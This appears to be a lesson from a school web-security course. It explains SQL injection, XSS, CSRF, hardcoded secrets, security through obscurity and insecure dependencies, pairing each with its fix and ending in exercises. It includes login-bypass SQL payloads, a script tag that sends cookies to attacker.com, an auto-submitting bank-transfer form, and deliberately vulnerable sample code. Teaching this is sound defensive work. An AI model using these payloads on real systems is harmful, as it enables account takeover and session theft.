Understanding the technology first — then understanding how it gets exploited
middleware.jsThe goal was to add a middleware.js file to Volcanic Pantheon on Vercel that intercepts requests before any content is served. If credentials are missing or wrong, the middleware returns a 401 response with a WWW-Authenticate header. Only correct credentials allow the request through.
This is the core of what we called the trust boundary from last lesson: authentication happens on Vercel's servers, not in the browser. The client never receives the protected content unless the server has verified identity first.
Beyond the all-or-nothing gate, the task asked you to add a second layer: different paths requiring different credentials. Public pages stay open. A standard protected area requires one password. A more restricted area requires a stronger one.
This is authorisation — not just "who are you?" (authentication) but "what are you allowed to do?" (authorisation). We used the matcher config to control which paths the middleware runs on.
Lessons 7 and 8 built the AAA model in practice: Authentication (prove your identity), Authorisation (get access to what you're allowed), Accountability (actions are tied to you). Server-side middleware is how real applications enforce the first two.
Today's lesson asks: what happens when developers don't build these protections correctly? We'll look at each major class of vulnerability — but before each attack, we'll understand the technology it exploits.
Almost every web application needs to store data that persists beyond a single request: user accounts, posts, orders, settings. A relational database is the standard tool for this. It stores data in tables — rows and columns, like a spreadsheet — and lets you query those tables with a structured language.
A typical web application has a database running on a server. When you log in, the application queries the database to check your credentials. When you post something, the application inserts a new row. The database never talks to your browser directly — it's always the application code in the middle.
SQL (Structured Query Language) is the language used to interact with relational databases. It's not a programming language like Python — it's a query language: you describe what data you want and the database returns it. Every major database (PostgreSQL, MySQL, SQLite, SQL Server) speaks SQL.
The most common operation is SELECT — retrieving rows that match a condition:
-- A users table might look like this:
-- | id | username | password_hash | role |
-- |----|----------|------------------------|-------|
-- | 1 | alice | $2b$10$abc... | user |
-- | 2 | admin | $2b$10$xyz... | admin |
-- Retrieve all columns from the users table:
SELECT * FROM users;
-- Retrieve only the row where username matches:
SELECT * FROM users WHERE username = 'alice';
-- The WHERE clause filters rows. Only rows where the condition is true are returned.
When you submit a login form, the application takes your username and password, builds a SQL query, and asks the database: "does a user with this username and password exist?" If the database returns a row, the login succeeds.
In Python, that might look like this:
username = request.form['username'] # From the browser form
password = request.form['password']
# Build a query using the user's input
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
# Send to database
result = db.execute(query)
if result:
# Row found — log the user in
session['user'] = result[0]['username']
The problem is that the developer is building the SQL query by gluing the user's input directly into a string. The user's input becomes part of the SQL command. If the attacker types something that looks like SQL, the database will execute it as SQL — not treat it as data.
An attacker doesn't enter a normal username. They enter this:
-- Attacker enters as username:
admin'--
-- The query the code builds becomes:
SELECT * FROM users WHERE username = 'admin'--' AND password = '...'
-- In SQL, -- starts a comment. Everything after it is ignored.
-- The password check disappears entirely.
-- The database returns the admin row. The attacker is now logged in as admin.
-- Attacker enters as username:
' OR '1'='1
-- The query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'
-- '1'='1' is always true. Every row satisfies the WHERE clause.
-- Returns all users. The application logs in as the first one (often admin).
Bypassing logins is the most visible example, but SQL injection can also dump entire databases (UNION SELECT attacks), delete tables (DROP TABLE users), or read files from the server — all through a text field. The 2011 Sony PlayStation Network breach exposed 77 million accounts partly through SQL injection.
Type ' OR '1'='1 or admin'-- into the vulnerable server. Watch the SQL query update as you type, then hit Execute Query to see the result. Try the exact same input on the secure server to see how parameterised queries block it.
Enter a username:
Try the same input here:
The fix is to never build SQL queries by concatenating user input. Instead, use parameterised queries (also called prepared statements): define the query structure first with placeholders, then pass the user's input separately as a parameter. The database engine treats those parameters as pure data — they can never alter the query's structure, no matter what they contain.
import sqlite3
username = input("Username: ")
password = input("Password: ")
# The ? placeholders define the query structure FIRST.
# User input is passed separately — the database handles it as data only.
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
# Even if the attacker enters: admin'--
# The database receives it as the literal string "admin'--"
# The single quote is just a character. It cannot break out of the string.
The database compiles the query structure first, then slots in the values. The user's input is sandboxed: always treated as data, never as SQL commands. The structural separation between "query" and "data" is what makes it impossible to inject SQL.
When your browser receives a web page, it receives an HTML file — a text document with a specific structure. The browser reads that HTML and builds a DOM (Document Object Model): a live tree of objects in memory representing every element on the page.
Think of the DOM as the browser's internal model of the page. <div>, <p>, <script> — each one becomes a node in the tree. The browser uses this tree to render what you see on screen.
JavaScript running in the browser has full access to the DOM. It can add elements, remove them, change their content, and react to user actions. This is what makes modern web pages interactive.
Two key ways to set the content of an element:
element.innerHTML = someString — the browser parses someString as HTML, including any tags it containselement.textContent = someString — the browser treats someString as plain text, no parsing, no tagsThat distinction is the root of XSS.
Social media posts, forum comments, product reviews, chat messages — countless sites accept text from users and display it to other users. This is normal and necessary. The risk appears when a developer takes that user-submitted text and inserts it into the page using innerHTML instead of textContent.
Cross-Site Scripting (XSS) is an attack where malicious JavaScript is injected into a page and then executed by other users' browsers. The attacker doesn't attack the server directly — they attack other users by planting code that runs when those users load the page.
// The attacker posts this as their "comment":
// <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
// The vulnerable site displays it with:
commentDiv.innerHTML = commentFromDatabase;
// The browser parses it as HTML. The <script> tag runs.
// Every visitor's session cookie is now sent to the attacker.
// The attacker uses those cookies to log in as each victim.
| Type | Where the Script Lives | Who Is Affected |
|---|---|---|
| Stored XSS | Saved in the database, served to all visitors | Every user who loads the page |
| Reflected XSS | Embedded in a URL, reflected back in the response | Users who click the malicious link |
| DOM-based XSS | Manipulates the DOM in the browser, no server involved | Users who interact with the compromised page |
textContent and Whitelist Sanitisation// VULNERABLE: browser parses the value as HTML, executes any scripts
element.innerHTML = userInput;
// SAFE: browser treats the value as plain text, angle brackets are harmless characters
element.textContent = userInput;
// If you must allow some formatting (e.g. bold text in a forum):
// Use a whitelist sanitisation library such as DOMPurify.
// Never write your own HTML sanitiser from scratch.
Blacklist (weak): Block known dangerous patterns like <script>. Attackers route around these constantly: <img onerror="...">, <svg onload="...">, URL-encoded variants, and dozens more.
Whitelist (strong): Only allow known-safe characters or tags. Everything else is stripped. If you only allow [a-zA-Z0-9 .,!?], no angle bracket ever reaches the page.
Every HTTP request is independent. When your browser asks a server for a page, the server responds and immediately forgets the exchange. There is no built-in memory of previous requests. Every request arrives as if from a stranger.
This creates an obvious problem: how does a site remember that you're logged in? If the server forgets you between every request, you'd have to log in on every single page load.
The solution is a session. When you log in successfully, the server creates a session record in its memory (or database) and assigns it a long, random ID — something like abc123def456.... The server sends that ID to your browser.
On every subsequent request, your browser sends the session ID back to the server. The server looks it up and knows who you are. This is how "staying logged in" works.
The session ID is stored in a cookie — a small piece of data that the browser saves and automatically attaches to every request it makes to that domain. You don't need to do anything. Every request to mybank.com automatically includes your session cookie for mybank.com.
That automatic behaviour is convenient and necessary for the web to work. It's also the thing CSRF exploits.
Cross-Site Request Forgery (CSRF) tricks your browser into making a request to a site you're already logged into — from a different, malicious site. Because the browser automatically attaches your session cookie, the target server sees a valid, authenticated request. It has no way of knowing it came from the attacker's page rather than from you.
// You're logged into mybank.com. In another tab, you visit attacker.com.
// Somewhere on attacker.com, hidden in the page:
<form id="csrf-form" action="https://mybank.com/transfer" method="POST">
<input type="hidden" name="amount" value="5000">
<input type="hidden" name="to_account" value="attacker-account-123">
</form>
<script>document.getElementById('csrf-form').submit();</script>
// Your browser submits the form to mybank.com.
// Your mybank.com session cookie is attached automatically.
// The bank sees a valid, authenticated POST request to transfer $5000.
// It approves it — the bank can't tell this came from attacker.com.
Cookies prove who you are, but not where a request came from. A forged request and a real request look identical to the server — both carry the same session cookie. Without extra verification, the server has no way to distinguish them.
A CSRF token is a secret, unpredictable value that the server generates and embeds in every form. When the form is submitted, the server checks that the token is present and matches. An attacker on a different origin cannot read the token from your page (browsers block cross-origin reads), so their forged form has no valid token and the server rejects it.
import secrets
# When the form is first displayed, generate a token and store it in the session:
csrf_token = secrets.token_hex(32)
session['csrf_token'] = csrf_token
# Embed it in the form as a hidden field:
# <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
# When the form is submitted, validate:
if request.form['csrf_token'] != session['csrf_token']:
abort(403) # Reject — token missing or wrong
# The attacker's hidden form has no token (or the wrong one). The request is rejected.
Modern frameworks handle CSRF automatically. Django, Rails, Laravel, and most web frameworks include CSRF protection by default. Understanding what they're doing and why is what the HSC requires.
An API (Application Programming Interface) is a way for one piece of software to communicate with another. When your app needs to send an email, process a payment, show a map, or generate text with AI — it calls another service's API. You send a request; it sends data back.
Services don't let just anyone use their API for free. They require you to identify yourself using an API key — a long, unique string that proves you're an authorised user. The key is tied to your account: usage is billed to you, rate limits apply to you, and if the key is misused, they can revoke it.
Common examples: OpenAI API keys, Google Maps keys, Stripe payment keys, Twilio SMS keys. These keys have real monetary and access value.
Hardcoded secrets means embedding sensitive values — API keys, passwords, database credentials — directly in source code. Source code is far less private than developers assume: it gets pushed to GitHub, shared with collaborators, deployed to servers, and sometimes accidentally made public. Any secret in the code is exposed to all of these channels.
# Hardcoded API key in source code
API_KEY = "sk-abc123def456ghi789"
response = requests.get(f"https://api.openai.com/v1/...", headers={"Authorization": f"Bearer {API_KEY}"})
# Hardcoded database password
conn = connect("postgresql://admin:SuperSecret123@db.mysite.com/prod")
# Even a hardcoded password hash is a problem:
CORRECT_HASH = "299957fa31b8e7784f4f7972436d9d4db8667f1bb7859faa4ec64d45c98861fb"
Automated bots scan public GitHub repositories continuously looking for hardcoded secrets. When one is found, it is typically exploited within minutes. Developers have received five-figure cloud bills after an API key was exposed in a public commit. Once a key is in version control history, deleting it from the latest file is not enough — it remains in every previous commit.
import os
# Read the secret from the environment at runtime — it's never in the code
API_KEY = os.environ.get("API_KEY")
DB_PASSWORD = os.environ.get("DB_PASSWORD")
# .env file (local development only — never committed):
# API_KEY=sk-abc123def456ghi789
# DB_PASSWORD=SuperSecret123
# .env is listed in .gitignore. On the server, secrets are set via the
# hosting provider's dashboard (Vercel, Netlify, Heroku, etc.).
Security through obscurity means relying on the secrecy of a system's design as the primary method of protection, rather than using genuine security controls. The moment an attacker learns how the system works, the protection is gone.
You've already seen this in practice with Volcanic Pantheon: hiding a JavaScript password check by making the repository private is obscurity. Anyone who finds the source — through the browser's View Source, a cached version, or a leak — can bypass it instantly. The protection vanished the moment the design became known.
Stated in 1883 and still the gold standard of security design: a system should be secure even if everything about the system, except the key, is public knowledge.
Applied to software: security should depend on a secret value (a password, a token, a key) — not on the attacker not knowing the method. Server-side bcrypt authentication satisfies this: publishing your source code doesn't help an attacker log in. Client-side localStorage checks do not: knowing the method is enough to break it.
Obscurity is not entirely useless. An obscure URL combined with proper authentication is more secure than proper authentication alone. The problem is treating obscurity as a replacement for real controls, not as a supplement to them.
Almost no developer writes everything from scratch. A package (also called a library or module) is a collection of code written by someone else that solves a common problem: parsing dates, handling file uploads, making HTTP requests, validating email addresses, encrypting data.
In Python you install packages with pip. In JavaScript/Node.js you use npm. Your project's package.json or requirements.txt lists what you depend on.
Here's the catch: each package you depend on may itself depend on other packages, which depend on others still. This is the dependency tree. A project with 20 direct dependencies might pull in 200 or more packages transitively. You are responsible for all of them.
Insecure dependencies means using packages that contain known security vulnerabilities. If any package in your dependency tree has a flaw, your application inherits it — regardless of how carefully you wrote your own code. This is the supply chain attack: instead of attacking your code, attackers compromise something your code depends on.
Log4j is a Java logging library used in hundreds of thousands of applications: Minecraft, banking systems, enterprise software. In December 2021 a critical vulnerability (CVE-2021-44228) was found that allowed remote code execution just by logging a specially crafted string. Applications were vulnerable through no fault of their own code. The scramble to patch took weeks and affected major organisations globally.
npm audit (Node.js) and pip-audit (Python) scan your dependency tree against public vulnerability databases and flag what needs updatingEvery vulnerability so far has targeted the software: a database query, a DOM insertion, a cookie mechanism. But the most secure technical system can still fall if the people using it can be manipulated. Social engineering attacks target humans rather than systems, exploiting trust, urgency, authority, and helpfulness.
No software patch fixes a user who hands their password to someone posing as IT support.
| Attack | Mechanism |
|---|---|
| Shoulder surfing | Watching someone's screen or keyboard to steal credentials or sensitive information |
| Phishing | Fake emails or websites impersonating trusted entities to steal credentials or install malware |
| Pretexting | Fabricating a scenario to extract information ("I'm from IT, I need your password to fix an urgent issue") |
| Baiting | Leaving infected USB drives or devices for victims to find and plug in out of curiosity |
| Tailgating | Physically following an authorised person through a secured door without using your own credentials |
"SELECT * FROM users WHERE user='" + username + "'". Identify the vulnerability, explain how an attacker exploits it, and describe the correct fix.Vulnerability: SQL injection — user input is concatenated directly into a SQL query, allowing an attacker to alter the query's structure.
Exploitation: Entering admin'-- as the username produces SELECT * FROM users WHERE user='admin'--'. The -- comments out the rest of the query, eliminating the password check, and the database returns the admin record.
Fix: Parameterised queries. The query structure is defined with placeholders and user input is passed separately as data. The database engine cannot interpret the input as SQL regardless of what it contains.
XSS targets other users of a vulnerable website. The attacker injects malicious JavaScript into the site which then runs in the browsers of anyone who visits — the attack comes from within the target site.
CSRF targets an authenticated user's session. The attacker tricks the user's browser into making an unauthorised request to a site the user is already logged into, exploiting automatic cookie attachment. The attack comes from a different, malicious site.
Vulnerability: Hardcoded secret — the API key is embedded in source code committed to a public repository. Automated bots scan GitHub continuously; the key can be found and exploited within minutes, potentially incurring costs or exposing data.
Mitigation: Store the key as an environment variable. The code reads it at runtime with os.environ.get("API_KEY"). The .env file containing the actual value is listed in .gitignore and never committed.
Insecure dependencies: Using third-party packages that contain known security vulnerabilities. Modern applications rely on many external libraries, and a vulnerability in any one of them is inherited by the application.
Mitigation: Run npm audit (or pip-audit) regularly. These tools scan the entire dependency tree against public vulnerability databases and report which packages need updating. GitHub Dependabot automates this by opening pull requests when new vulnerabilities are discovered.
innerHTML. Fix: textContent or whitelist sanitisation.npm audit, keep packages updated.For each snippet below, (a) name the vulnerability, (b) explain what an attacker could do, and (c) write the corrected code.
def get_user(username):
query = "SELECT * FROM users WHERE username = '" + username + "'"
return db.execute(query)
const comment = await fetch('/api/latest-comment').then(r => r.text());
document.getElementById('comment-box').innerHTML = comment;
const API_KEY = "sk-abc123def456ghi789";
fetch(`https://api.openai.com/v1/completions`, {
headers: { "Authorization": `Bearer ${API_KEY}` }
});
Explain in 3–4 sentences how a CSRF attack works and why session cookies alone are not sufficient to prevent it.
A CSRF attack tricks a user's browser into making an unauthorised request to a site the user is already logged into. The attacker hosts a malicious page with a hidden form that auto-submits to the target site when loaded. Because browsers automatically attach session cookies to every request for a domain, the server receives a request with a valid authentication cookie and cannot distinguish it from a legitimate user action. Session cookies prove identity but not intent or origin — a CSRF token, which the attacker cannot read from a different origin, provides the missing verification.